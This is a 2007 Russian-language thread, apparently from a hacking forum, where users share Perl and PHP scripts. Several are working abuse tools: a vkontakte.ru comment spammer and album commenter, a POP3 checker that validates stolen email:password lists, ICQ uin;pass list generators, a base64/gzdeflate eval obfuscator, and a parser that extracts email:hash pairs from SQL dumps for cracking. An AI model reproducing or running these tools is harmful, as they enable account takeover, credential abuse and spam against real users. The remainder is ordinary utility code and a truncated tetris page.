$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"$port");
print $sock "GET http://vkontakte.ru/photos.php?act=album&id=$start HTTP/1.0\r\n";
print $sock "Host: vkontakte.ru\r\n";
print $sock "Accept: */*\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Referer: http://vkontakte.ru/\r\n";
print $sock "User-Agent: Internet Explorer 6.0\r\n";
print $sock "Cookie: $cookie\r\n";
print $sock "Connection: close\r\n\r\n";

while ($html=<$sock>){
if ($html=~/photos.php\?act=show&id/gi){
$html=~m/(\d+)/g;
$photoid=$1;
push @idents, $photoid;
}}
close ($sock);
print "@idents\n";
$mas = @idents; #количество ид фоток в массиве

while($mas > 0){
$foto_id = "@idents[$co]";
$uri = "id=$foto_id&act=post&comment=$text";

$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"$port");
print $sock "POST http://vkontakte.ru/photos.php HTTP/1.1\r\n";
print $sock "Host: vkontakte.ru\r\n";
print $sock "Accept: */*\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Content-Length: ".length($uri)."\r\n";
print $sock "Referer: Referer: http://vkontakte.ru/\r\n";
print $sock "User-Agent: Internet Explorer 6.0\r\n";
print $sock "Cookie: $cookie\r\n";
print $sock "Connection: close\r\n\r\n$uri";
while(<$sock>){print <$sock>};
close ($sock);
$co++;
last if ($co > $mas);
print "Comment foto $foto_id\n";
sleep(2);
}
$start++;
@idents=();
$co=0;
print "Album number $start is commented\n";
sleep(2);
}

Shram-spb
18.07.2007, 21:49
Скрипт для чеканья мыла на валидность...
на входе mail.txt: user@host.ex:пароль
Чекает mail.ru, rambler.ru, yandex.ru, list.ru, bk.ru ... и многие другие, где pop сервер лежит по адресу pop.host.ex:110
На выходе в директории скрипта лежит ok.mail и err.mail


//////////////////////////////////////////////////////////
// //
// Скрипт для чеканья мыла на валидность! //
// Заливаем на Shell скрипт и файл mail.txt //
// Формат mail.txt mail@host.ex:password //
// Чекает только мыла, у которых pop3 сервер //
// располжен на pop.host.ex:110 //
// На выходе создаются 2 файла: //
// ok.mail и err.mail //
// Created by 5hr4M... //
// //
//////////////////////////////////////////////////////////
<?php
error_reporting(0);
$in=fopen("mail.txt","r");
if(!$in) {
echo "mail.txt not found...<br>";
exit();
}
while(!feof($in))
{
$host='';
$str='';
$user='';
$pass='';
$str=fgets($in,128);
$pos[1]=strpos($str,'@');
$pos[2]=strpos($str,':');
$host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
$pos[3]=strpos($host,' ');
if ($pos[3]) $host=substr($host,0,$pos[3]);
$user=substr($str,0,$pos[1]);
$pass=substr($str,$pos[2]+1);
connect ($host,$user,$pass);
}
echo "End<br>";
fclose($in);

function connect($host,$user,$pass){
$fp = fsockopen($host, 110, &$errno, &$errstr, 30);
fputs($fp,"USER $user\n");
$resp=fgets($fp,1024);
if ($resp[0]=='+')
{
fputs($fp,"PASS $pass\n");
$resp=fgets($fp,1024);
if ($resp[0]=='+')
{
@$out=fopen("ok.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
echo $mg.'<br>';
@fputs($out,$mg);
@fclose($out);
}else
{
// echo 'Pass failure';
@$out=fopen("err.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
@fputs($out,$mg);
@fclose($out);
}

}else
{
//echo 'User failure';
@$out=fopen("err.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
@fputs($out,$mg);
@fclose($out);
}
fputs($fp,"QUIT\n");
$resp=fgets($fp,1024);
fclose($fp);
}
?>

alextoun
18.07.2007, 22:53
#! /usr/bin/perl -w
system("color A");
print @q= (1..1000000);
print @x= (1..1000000);
print @z= (1..1000000);
print @d= (1..1000000);

матрица на перле
:D :d

Hormold
19.07.2007, 22:48
Генератор uin;pass:
<?
if(!empty($_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
{
$uin1=$_GET["uin_start"];
$uin2=$_GET["uin_end"];
$pass=$_GET["pass"];
echo $uin_start.";".$pass."<br>";
for ($i = 0; $i <= $uin2-2; $i++)
{
$uin_start++;
echo $uin_start.";".$pass."<BR>";
}
}
else{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Uin;pass generator! </title>
</head>

<body><center>
<table width="350" height="288" border="0">
<tr>
<td height="56"><center>
Uin;pass generator!
</center>
</td>
</tr>
<tr>
<td><center>
<form method="get" action="?">
<p><fieldset><legend>Настройка</legend>Начальный номер:
<input type="text" name="uin_start" />
</p>
<p>Конечный номер:
<input type="text" name="uin_end" />
</p>
<p>Пароль:
<input type="text" name="pass" />
</p>
<p>
<input type="submit" value="Генирировать" />
</fieldset></p>
</form>
</center>
</td>
</tr>
</table>
</center>
</body>
</html>
<?
}
?>

Dagon
20.07.2007, 01:25
писал по просьбе знакомого.
скрипт выдает webmoney BL в текстовом виде. (переводит БЛ-картинку в цифру)




<?
// запрос к скрипту - index.php?id=838229434718
function itfalse($x)
{
global $se; $ok=0;
for ($j = 3; $j < 15; $j++)
{
if ($se[$x][$j] == 40) { $ok++; }
} return $ok;

}
function iscount2($x,$y)
{
if (($x == 7) and ($y == 7)) { return 0; }
if (($x == 1) and ($y == 0)) { return 1; }
if (($x == 3) ) { return 2; }
if (($x == 2) and ($y == 6)) { return 3; }
if (($x == 2) and ($y == 1)) { return 4; }
if (($x == 6) and ($y == 5)) { return 5; }
if (($x == 7) and ($y == 4)) { return 6; }
if (($x == 1) and ($y == 2)) { return 7; }
if (($x == 6) and ($y == 6)) { return 8; }

if (($x == 4)) { return 9; }
}
function iscount($x,$y) //1 2 digit
{
if ( ($x == 1) and ($y == 0) ) { return 1; }
if (($x == 5) and ($y == 4)) { return 2; }
if (($x == 2) and ($y == 7)) { return 3; }
if (($x == 2) and ($y == 10)) { return 4; }
if (($x == 7) and ($y == 5)) { return 5; }
if (($x == 8) and ($y == 5)) { return 6; }
if (($x == 1) and ($y == 3)) { return 7; }
if (($x == 7) and ($y == 7)) { return 8; }
if (($x == 5) and ($y == 8)) { return 9; }
if (($x == 8) and ($y == 8)) { return 0; }

}

$wmid = file_get_contents('http://stats.wmtransfer.com/Levels/pWMIDLevel.aspx?wmid='.$_GET['id'].'&w=35&h=18&bg=0XDBE2E9');
$img = imagecreatefromstring($wmid);
for ($i = 4; $i < 35; $i++)
{
for ($j = 3; $j < 15; $j++)
{
$se[$i][$j] = (imagecolorat ($img, $i, $j));
}
}
$is = false;
$w = '';

if ( (itfalse(4) ==6 ) and (itfalse(5) ==7 ) and (itfalse(6) ==1 ) and (itfalse(7) ==2 ) and (itfalse(8) == 7 ) )
{
$is = true;
$w='no';
}

if (!( itfalse(18) or itfalse(20) or itfalse(19) or ($is) ) )
{
//one digit

$p1 = itfalse(23,$se);
$p2 = itfalse(28,$se);
$w = (iscount($p1, $p2));
$is = true;
}

if ( ! ( itfalse(13) or itfalse(14) or itfalse(12) or ($is) ) )
{
//two digit

$p1 = itfalse(17,$se);
$p2 = itfalse(22,$se);
$w = (iscount($p1, $p2));

$p1 = itfalse(25,$se);
$p2 = itfalse(30,$se);
$w .= (iscount($p1, $p2));
$is = true;
}

if (!( itfalse(7) or itfalse(8) or itfalse(6) or ($is) ) )
{

//tree digit
$p1 = itfalse(11,$se);
$p2 = itfalse(16,$se);
$w = (iscount2($p1, $p2));

$p1 = itfalse(18,$se);
$p2 = itfalse(23,$se);
$w.=(iscount2($p1, $p2));

$p1 = itfalse(25,$se);
$p2 = itfalse(30,$se);
$w.= (iscount2($p1, $p2));
$is = true;
}
if ($is == false)
{

$p1 = itfalse(6,$se);
$p2 = itfalse(11,$se);
$w = (iscount2($p1, $p2));

$p1 = itfalse(13,$se);
$p2 = itfalse(18,$se);
$w.= (iscount2($p1, $p2));

$p1 = itfalse(20,$se);
$p2 = itfalse(25,$se);
$w.= (iscount2($p1, $p2));

$p1 = itfalse(27,$se);
$p2 = itfalse(32,$se);
$w.= (iscount2($p1, $p2));
}
echo($w);
?>

Ch3ck
20.07.2007, 02:06
Генератор uin;pass:
Во-первых: беспонт.
Во-вторых: Надо сразу записывать в файл. Нах обычный вывод?
Вот написал (без html'я) - работает как обычный генератор uin;pass.

<?php
set_time_limit(0);
$nach = '10000';
$kon = '10020';
$fp=fopen('rezult.txt', 'w+'); // результативный файл вида uin;pass
$pass_file=file('pass.txt'); // файл с паролями
for($i=$nach; $i<$kon; $i++)
foreach ($pass_file AS $one_pass)
{
$v=str_replace("\r",'',$v);
$v=str_replace("\n",'',$v);
$uin_pass=$i.";".$one_pass;
fwrite($fp,$uin_pass);
}
fclose($fp);
echo('DONE');
?>

Isis
20.07.2007, 03:38
Генератор диапазона номеров
<?php

set_time_limit(0);
$file = 'uins.txt';

$from = $_POST['from'];
$to = $_POST['to'];

if($_POST['button'])
{
for($uins = $from; $uins <= $to; $uins++)
{
$gen = fopen($file, 'ab');
fwrite($gen, $uins."\r\n");
fclose($gen);
}
$msg = "Список успешно создан";
}
?>
Введите диапазон ICQ номеров
<form method="post">
От <input name="from" value="111"/><br/><br/>
До <input name="to" value="222"/><br/>
<input type="submit" name="button" value="Создать список"/>
</form>
<?php echo $msg ?>

GrAmOzEkA, генератор случайных паролей

function mkey($len = 8, $type = 'ALNUM')
{
$alpha = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');

$ALPHA = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z');

$num = array('1', '2', '3', '4', '5', '6', '7', '8', '9', '0');

$simv = array('!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '=', '+', '[',
']', '{', '}', '?', '<', '>');

$keyVals = array();

$key = array();

switch ($type)
{
case 'lower' :
$keyVals = $alpha;
break;
case 'upper' :
$keyVals = $ALPHA;
break;
case 'numeric' :
$keyVals = $num;
break;
case 'ALPHA' :
$keyVals = array_merge($alpha, $ALPHA);
break;
case 'ALNUM' :
$keyVals = array_merge($alpha, $ALPHA, $num, $simv);
break;
}

for($i = 0; $i <= $len-1; $i++)
{
$r = rand(0,count($keyVals)-1);
$key[$i] = $keyVals[$r];
}

return join("", $key);
}

Hormold
20.07.2007, 14:17
Isis, вот.
Подправил:

<?php

set_time_limit(0);
$file = 'uins.txt';
if(!empty($_POST["from"]) && $_POST["to"])
{
$from = $_POST['from'];
$to = $_POST['to'];

if($_POST['button'])
{
for($uins = $from; $uins <= $to; $uins++)
{
$gen = fopen($file, 'ab');
fwrite($gen, $uins."\r\n");
fclose($gen);
}
}
echo"Список успешно создан";
}
else {
?>
Введите диапазон ICQ номеров
<form method="post">
От <input name="from" value="111"/><br/><br/>
До <input name="to" value="222"/><br/>
<input type="submit" name="button" value="Создать список"/>
</form>
<br/><br/>
Все сохранится в файл uins.txt !!!<br/><br/><br/>(c) 2007 by Isis
<?
}
?>

Hormold
20.07.2007, 18:13
Скрипт просто тупо создаёт файлы(куча ошибок там...):

<?
$format = array('.php', '.pdf', '.txt', '.jpg', '.mp3', '.xls', '.html', '.pif', '.ini', '.sys', '.pds', '.wma', '.wav','.exe', '.jpeg', '.rar', '.zip', '.gif', '.pl', '', '.mail', '.xml', '.bak');
$simvols="qazxswedcvfrtgbnhyujmkiolp1234567890QAZXSWEDCVFRTG BNHYUJMKIOLP";
$xyz="23";
// Количество символов в $simvols
$size=StrLen($simvols)-1;
// Пустая переменная в которую будем писать.
$password=null;
// Количество символов в пароле.
$xyz;
// Создаём пароль.
while($xyz--)
$password.=$simvols[rand(0,$size)];
for ($i = 0; $i <= 23-1; $i++)
{
$text=rand(0,6498432674666)."jyuftrzgb".$password."jyuzgzfdzgb".$password."jyuftrzgb".$password."jyuftrzgb".$password."jyuftrzgb".$password."jyuftrzgb".$password;
$i=rand("0","23");
$password.=$simvols[rand(0,$size)];

$fp=fopen($password."fd".$format[$i],"ab");
fwrite($fp,$text);
fclose($fp);
}
echo "DONE";


?>

Поместите скрипт в отдельную папку. и желательно в Опере подержите Ctrl+R сек 10,20... Комп может повиснуть...

invlose
22.07.2007, 12:47
Скрипт для удаления сообщений с форума античата
Можно настроить из какого раздела=\ну это уже сами
Писал для одного раза,то есть код не оптимизирован.

1.Вписываем свой логин ,пароль и ид(иди посмотреть можно на 1странице наведя на ссылку ВЫХОД) в два!файла
2.запускаем первый файл
Происходит авториация ,поиск всех сообщений и запись в файл их ид
3.Запускаем файл Делет,происходит удаление всех сообщений,которые может удалить юзер сам.
_http://test-lol.narod.ru/antichat/create/Login.php
_http://test-lol.narod.ru/antichat/create/Delete.php


на выходе файл parser.txt
при перезапуске скрипта Login.php
его нужно удалить ручками(parser.txt)


просто сохраните эти файлы на жд
Должны работать сокеты и set_time_limit(0);

invlose
23.07.2007, 10:33
Ходит миф что на ачате нельзя менять подпись обычным юзерам.
Развею этот миф - в данный момент момент можно

Должны работать сокеты Не забываем поставить свои логин,пароль,подпись урезается до 50символов
_http://test-lol.narod.ru/antichat/create/profile.php

Замечание:
Подпись как раньше так и после будет отображаться
только в вашем профайле

Hormold
23.07.2007, 23:50
Мини криптор!
Криптует тока php!

<?
//
$file="123.php";//Старый файл
$new="1233.php";//Новый файл
//
$content = file_get_contents($file);
$content=str_replace("<?",'',$content);
$content=str_replace("?>",'',$content);
$content=str_replace("\n",'',$content);
$contents = base64_encode($content);
$fp=fopen($new,"w");
fwrite($fp,'<?eval(base64_decode("'.$contents.'"));return;?>');
fclose($fp);
?>

n1†R0x
23.07.2007, 23:59
Мини криптор!
Криптует тока php!
...
я тоже писал нечто подобное, правда лишь для себя и немного более расширенно... gzdeflate+base64. Есть опция записи в файл, понимает php без "<?" и "?>" на крипт и сам хеш на декрипт (по идее, должен понимать всю выводимую при энкрипте строку, но я намудрил где-то имхо)

<?
Error_Reporting(E_ALL & ~E_NOTICE);
//visual form
echo "<title>en/de.coder :) </title>";
echo "<form method='post'><textarea cols='50' rows='15' name='source'></textarea><br>";
echo "Encode <input type='radio' name='method' value='en' checked>";
echo "Decode <input type='radio' name='method' value='de'>";
echo "Writing into the file <input type='checkbox' name='write' value='1'><br><br>";
echo "<input type='Submit' name='Submit'></form><br><br><br>";
//encrypt
if ($method == 'en')
{
$source = gzdeflate($source);
$source = base64_encode($source);
echo "eval(gzinflate(base64_decode('".htmlspecialchars($source)."')));";
//writing into the file
if ($write !== 0)
{
$handle = fopen("encode.txt", "w+") or die ("Cannot open the file!");
fwrite($handle, $source);
fclose($handle);
}
}
//decrypt
elseif ($method == 'de')
{
$source = str_replace("eval(gzinflate(base64_decode('","",$source);
$source = str_replace("')));","",$source);
$source = base64_decode($source);
$source = gzinflate($source);
echo $source;
//writing into the file
if ($write !== 0)
{
$handle = fopen("decode.txt", "w+") or die ("Cannot open the file!");
fwrite($handle, $source);
fclose($handle);
}
}
else echo "Выберите операцию...";

?>
можно жестко оптимизировать код имхо, но неохота)

n1†R0x
24.07.2007, 09:49
Вот написал (без html'я) - работает как обычный генератор uin;pass.

а вот мой вариант (давно писал, один из первых скриптов :))

<?
echo '<title>icq_gen.php =\ </title>';
if (!isset($start) || !isset($end))
{
$end="";
$start="";
$pass="";
echo '<form method=post>';
echo 'Начало диапазона: <input type=text name=start><br/><br/>';
echo 'Конец диапазона: <input type=text name=end><br/><br/>';
echo 'Желаемый пароль: <input type=text name=pass><br/><br/>';
echo "Писать в файл: <input type='checkbox' name='write' value='1'><br/><br/>";
echo "Выводить в браузер: <input type='checkbox' name='browse' value='1'><br/><br/>";
echo '<input type=submit value=Отправить></form>';
}
$fname="result.html";
$end=$end++;
$res=$start;
$pass=trim($pass);
$fp=fopen($fname, "w+");
if (!empty($pass))
{
$len=strlen($pass);
if ($len > 8) { $pass=substr($pass,0,8); }
for ($a=0; $a<($end-$start); $a++)
{
if ($write !== 0) fwrite($fp,$res.";".$pass."<br/>");
if ($browse !== 0) echo $res.";".$pass."<br/>";
$res++;
}
fclose($fp);
}
else
{
for ($a=0; $a<($end-$start); $a++)
{
if ($write !== 0) fwrite($fp,$res.";".$pass."<br/>");
if ($browse !== 0) echo $res.";".$pass."<br/>";
$res++;
}
fclose($fp);
}
?>

invlose
24.07.2007, 09:52
Вы *бнулись?=\
ну давайте тогда просто откроем тему -
1.как я начинал программировать(как я продолжаю начинать программировать)
2.Как записывать строки в файл
3.как пользоватьтся rand()
и т п и т д

Если выкладываете криптор ,ну так выложите не въ*бенный криптор

C!klodoL
26.07.2007, 02:50
спамер для vkontakte.ru, спамит комментариями к зометкам, пока багу с blog_id не прикрыли с одного акка удавалось отправить около 2000 сообщений в час, теперь приходится парсить страницу и по этому скорость ниже =(
#usr/bin/perl
############################
# vkontakte.ru notes spamer
# C!klodoL
############################
use IO::Socket;

$email = 'mail@mail.ru';
$pass = 'fdsfsdfs';
$post_id = 200000; # id с которого начать
$text = 'Превед!';
$host = 'localhost'; #хост прокси
$port = '8118'; #порт

$email =~s/@/%40/;
$emps = "email=$email&pass=$pass";
$text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;

$login ="POST http://vkontakte.ru/login.php HTTP/1.1\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($emps)."\r\n".
"Referer: Referer: http://vkontakte.ru/\r\n".
"User-Agent: Internet Explorer 6.0\r\n".
"Connection: close\r\n\r\n$emps";

$sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);

print $sock $login;

while ($answ = <$sock>){
if ($answ =~/remixmid=([0-9])/){
$answ =~m/(\d+)/;
$remixmid = $1;}
if ($answ =~/remixpass=([a-z0-9]{32})/){
$answ =~/remixpass=([a-z0-9]{32})/;
$remixpass = $1;}
}
close $sock;
$cookie = "remixchk=2; remixmid=$remixmid; remixemail=$email; remixpass=$remixpass;";

sleep(1.1);

if ($remixpass){

while (1){

system("cls");

$get = "GET http://vkontakte.ru/notes.php?act=s&nid=$post_id HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Referer: http://vkontakte.ru/\r\n".
"User-Agent: Internet Explorer 6.0\r\n".
"Cookie: $cookie\r\n".
"Connection: close\r\n\r\n";

$sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);

print $sock $get;

while ($html = <$sock>){
if ($html =~ /name="blog_id"/gi){
$html=~m/(\d+)/gi;
$blog_id = $1;
}
}
close $sock;

sleep(1);

$uri = "blog_id=$blog_id&post_id=$post_id&act=addComment&comment=$text";

$cament = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($uri)."\r\n".
"Referer: Referer: http://vkontakte.ru/\r\n".
"User-Agent: Internet Explorer 6.0\r\n".
"Cookie: $cookie\r\n".
"Connection: close\r\n\r\n$uri";

$sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);

print $sock $cament;

while ($p = <$sock>){
print $p;
}
close $sock;

print "[+] Comment BLOG_ID: $blog_id, NOTES_ID: $post_id\n";
sleep(1);
$post_id++;
}
} else {print "Bad login or password"; exit;}

Hormold
26.07.2007, 13:50
Двойная защита информации!
http://ltest1.ru/hesh.php?pass=
<?
function md51($pass)
{
echo"<P> Md5.1 : ";
$hesh1=base64_encode($pass);
$hesh2=sha1($hesh1);
$hesh3=md5(md5($pass).$hesh1.$hesh1);
$base64=base64_encode(md5($pass).$hesh1.$hesh1.$he sh3);
$md5_end=md5($hesh1.$hesh2.$hesh3.$base64."md51");
echo $md5_end;
}
md51($_GET['pass']);

function md5s($pass) {
$x="400000";
echo"<P> Md5 X <B>".$x."</B> : ";
for($i = 1; $i <= $x; $i++)
{
$md= md5($pass);
}
echo $md;
}
md5s($_GET['pass']);
?>

gibson
30.07.2007, 11:32
Недавно чел спрашивал как востановить базу, не одно из перечисленных средсв не подошло. С помощью этого скрипта можно читать sql-файл построчно, точнее по командно, предворительно залив его через фтп:
<?php
// подключаемся к бд
mysql_connect("localhost", "login", "password");
mysql_select_db ("database");
//
if (!file_exists($fname)) die ("Файл $fname не существует!");
$fp = fopen ($fname, "r");
$buffer = fread($fp, filesize($fname));
fclose ($fp);

$prev = 0;

while ($next = strpos($buffer,";",$prev+1))
{
$i++;
$a = substr($buffer,$prev+1,$next-$prev);
mysql_query($a);
$prev = $next;
}

echo "Выполнено $i команд";

?>

$fname - имя файла sql-дампа
$prev - позиция предыдущей ";"
$next - позиция следующей ";" начиная с позиции $prev

Вызываем скрипт примерно так: sqlbackup.php?fname=backup.sql, будет выполнен файл backup.sql. В конце выводится число выполненных команд.

Минусы
Занимает большое количество ресурсов сервера, весь файл читается в память. Можно усовершенствовать, читая из файлового только отдельные sql-команды.

GrAmOzEkA
31.07.2007, 14:24
Шифрование пароля используя md5($key.strrev()); :D :D :D

<?

// coded by GrAmOzEkA

$password = '1234567890'; //пароль
echo $password; //выводим пароль
echo"<br></br>";
$key = 'Gramozeka'; //то что прибавляем к паролю
$password = $key.strrev($password); //собсно сам процесс =)
echo $password; //выводим то что получилось
echo"<br></br>";
$password = md5($password); //шифруем md5
echo $password; //выводим

?>

Или так

<?

$password = '1234567890'; //пароль
echo $password; //выводим пароль
echo"<br></br>";
$key = 'Gramozeka'; //то что прибавляем к паролю
$password = md5($key.strrev($password)); //собсно сам процесс =)
echo $password; //выводим то что получилось

?>

FoxMALDER
31.07.2007, 17:43
Функция для обработки файла с DDL-запросами и соответственно выполнение их в БД MySQL.


function parse_sql($file)
{
$fp = fopen($file, "r");

while (!feof($fp))
{
// Читаем строку из файла и удаляем из неё символы \t\r\n
$str = chop(fgets($fp, 65536));

if (strlen($str))
{
// Собираем запрос разделённый на несколько строк
while (substr($str, strlen($str) - 1, 1) != ";" && substr($str, 0, 1) != "#" && substr($str, 0, 2) != "--")
{
$str .= chop(fgets($fp, 65536));
}

// Если не комментарии
if (substr($str, 0, 1) != "#" && substr($str, 0, 2) != "--")
{
if (!mysql_query($str))
{
return false;
}
}
}
}

fclose ($fp);

return true;
}

C!klodoL
31.07.2007, 20:34
скрипт граббер тёток с сайта xuk.ru :)

#!/usr/bin/perl

use IO::Socket::INET;
use warnings;
use strict;

my $sPage = 1;
my $ePage = 35;

for ($sPage..$ePage) {
open (LOG, '>>history.txt');
my $rate = "http://xuk.ru/tits/".$sPage.".html?sort=rating";
print "Page $sPage\n";
print LOG "$rate\n";
my $page = get($rate);
my @telki = $page =~ /href="(.+?vid-1.html)">/gi;

while (@telki) {
my $telka = shift @telki;
print "$telka\n";
print LOG "\t$telka\n";
my $links = get($telka);
my @fotki = $links =~ /" border="1" bgcolor="#000000" src="(.+?)"/gi;
$telka =~ /\/(.+)\/vid-1.html/i;
my $mmm = $1;
$mmm =~ s/(.*)\///;
system("mkdir $mmm");

while (@fotki) {
my $fotka = shift @fotki;
print "$fotka\n";
print LOG "\t$fotka\n";
(my $file = $fotka) =~ s(^.*/)();
$fotka = get($fotka);
open (FILE, ">$mmm/$file");
binmode FILE;
$fotka =~ m/\n\r\n(.+)/s;
print FILE $1;
close FILE;
}
}
$sPage++;
}

sub get
{
my ($url, $answ) = @_;
$url =~ m/\/\/(.+?)\//i;
my $sock = IO::Socket::INET->new(PeerAddr=>$1,
PeerPort=>80,
Proto=>'tcp') || die 'Cant connect';
print $sock ("GET $url HTTP/1.0\r\n".
"Host: $1\r\n".
"Accept: */*\r\n".
"User-Agent: Perl\r\n".
"Connection: close\r\n\r\n");
while (<$sock>)
{ $answ .= $_; }
close $sock;
return $answ;
}

FoxMALDER
01.08.2007, 14:00
<?
function md5s($pass) {
$x="400000";
echo"<P> Md5 X <B>".$x."</B> : ";
for($i = 1; $i <= $x; $i++)
{
$md= md5($pass);
}
echo $md;
}
md5s($_GET['pass']);
?>


Протупил ;)


function md5s($pass) {
$x="400000";
echo"<P> Md5 X <B>".$x."</B> : ";
for($i = 1; $i <= $x; $i++)
{
$pass= md5($pass);
}
echo $pass;
}

Spyder
04.08.2007, 01:50
мб уже выкладывали что-то подобное, но я не нашёл

#!/usr/bin/perl
open (SRC, "$ARGV[0]") or die "Can't open $ARGV[0]:$!";
open (RES, ">$ARGV[1]") or die "Can't create $ARGV[1]:$!";
@src = <SRC>;
$num = @src;
for ($id = 1;$id != $num;$id++) {
$str = "$src[$id]";
if ($str=~ /\w+@\w+.\w+/) {
$mail = $&;
}
if ($str =~ /\w{32}/) {
$hash = $&;
$res = join ':',$mail,$hash;
print RES "$res\n";
}
}

Скрипт для парсинга sql дампов
Выводит в файл список вида
mail:hash
После этого удобно импортировать в passwordspro

Пример запуска
perl script.pl c:/dump.sql c:/result.txt

PS Код канеш наркоманский :D Я только учусь

NOmeR1
05.08.2007, 01:12
Уже не помню, где я выкладовал как избавиться от php-инклуда, решил сделать поудобней + добавил проверку валидности файла и избавление от рекурсии :)

<?
#(c) NOmeR1
error_reporting(0);

...

function inc($do,$inc,$posle)
{

$bug = $_SERVER['SCRIPT_NAME'];
$bug = preg_replace('/^(.*)\/(.*)\.(.*)$/i','\\2',$bug);
$inc = str_replace('http','',$inc);
$inc = str_replace('ftp','',$inc);
$inc = str_replace(':','',$inc);
$inc = str_replace('/','',$inc);
$inc = str_replace('\\','',$inc);
$inc = str_replace('.','',$inc);
$inc = str_replace($bug,'',$inc);
$inc = htmlspecialchars($inc);

if(file($do.$inc.$posle))
{
include($do.$inc.$posle);
}

else echo 'Файла '.htmlspecialchars($do).$inc.htmlspecialchars($pos le).' не существует';

}

...

if($_GET['page']) inc('',$_GET['page'],'.php');

...

?>

Extremal
09.08.2007, 00:22
Тута недавно решил кодировщик\декодировщик написать для своего сайта на Bin2hex,Base encode, Base decode, SQL HEX +0x | Pach, Crc32, Md5 hash, Url encode, Url decode, 2=>10, 10=>2...вот:



<?php
// Coded by Extremal

?>
<html>
<title> Coding & Decoding</title>
<head>
<meta http-equiv="content-type" content="text/html; charset=Windows-1251">
<meta name="Description" Content="Coding & Decoding,bin2hex,base64,md5,sql hex,Crc32,2=>10,10=>2,url,encode,decode">
<meta name="Keywords" Content="Coding Decoding bin2hex base64 md5 sql hex Crc32 2=>10 10=>2 url encode decode">
<body bgcolor=black text="white" link="white" vlink="white" alink="white">
<font color="white" size="2" face="Tahoma">
</head>
</body>
</html>
<?
if(empty($_POST['Code']))
echo " <form method=post>
<center>
<textarea name=Code cols=40 rows=5></textarea>
<br><br><input type=submit value=Send>
<INPUT TYPE=reset VALUE=Reset>
</center>
</form>";


else
{


$_POST['Code']=StripSlashes($_POST['Code']);
$size=StrLen($_POST['Code']);
//===========Encoding bin2hex============
$code1.=@bin2hex($_POST['Code']);
//============Encoding base64============
$code2.=@base64_encode($_POST['Code']);
//============Decoding base64============
$code3.=@base64_decode($_POST['Code']);
//============Sql Hex +0x Path===========
$code4.='0x'.@bin2hex($_POST['Code']);
//=================Crc32=================
$code5.=@crc32($_POST['Code']);
//==================Md5==================
$code6.=@md5($_POST['Code']);
//===============Url encode==============
$code7.=@urlencode($_POST['Code']);
//===============Url decode==============
$code8.=@urldecode($_POST['Code']);
//=================Bindec===============
$code9.=@bindec($_POST['Code']);
//=================Decbin================
$code10.=@decbin($_POST['Code']);
//=================CHAR==================
$coded=$_POST['Code'];
$chrerc= "CHAR(".ord($coded[0]).")";
for($i=1;$i<$dlina;$i++)
$chrerc .= " . CHAR(".ord($coded[$i]).")";
}

echo "<center><font color=white>
<b>Bin2hex: </b>$code1<br>
<b>Base encode: </b>$code2<br>
<b>Base decode: </b>$code3<br>
<b>SQL HEX +0x | Pach: </b>$code4<br>
<b>Crc32: </b>$code5<br>
<b>Md5 hash: </b>$code6<br>
<b>Url encode: </b>$code7<br>
<b>Url decode: </b>$code8<br>
<b>2=>10: </b>$code9<br>
<b>10=>2: </b>$code10<br>
<b>CHAR: </b>$chrerc<br>
<b><a title ='Назад' href='javascript:history.back()'>Back</a></b></font>";
?>

<html>
<br><br><br><br>
<center>
<b>
<font color=white>
Coded by Extremal(Extremal-metal@mail.ru)
</b><br>
</font>
</center>
</html>

Тока немного не корекно работает функция CHAR() если кто знает как исправить напишите мне в аську...а то я уже ненаю как зделать.

Rast1k
09.08.2007, 23:03
Классный тетрис для развлечений на Ваш сайт)))

<html>
<head>
<title>Ебучий тетрис =)))</title>
<STYLE>BODY {
BACKGROUND: black; MARGIN: 0px
}
TD {
WIDTH: 20px; HEIGHT: 20px
}
#block_div {
Z-INDEX: 1; WIDTH: 80px; POSITION: absolute
}
#table_div {
WIDTH: 320px; POSITION: absolute
}
#nblock_div {
Z-INDEX: 2; FONT: 48px system; COLOR: red; POSITION: absolute
}
#title_div {
FONT-SIZE: 22px; LEFT: 326px; COLOR: white; POSITION: absolute; TOP: 7px
}
#infobar_div {
LEFT: 396px; POSITION: absolute; TOP: 416px
}
#infobar2_div {
FONT-SIZE: 14px; LEFT: 396px; COLOR: white; POSITION: absolute; TOP: 480px
}
#infobar2_div A {
COLOR: #99ccff; TEXT-DECORATION: none
}
</STYLE>

<SCRIPT language=javascript id=clientEventHandlersJS>
<!--

/*
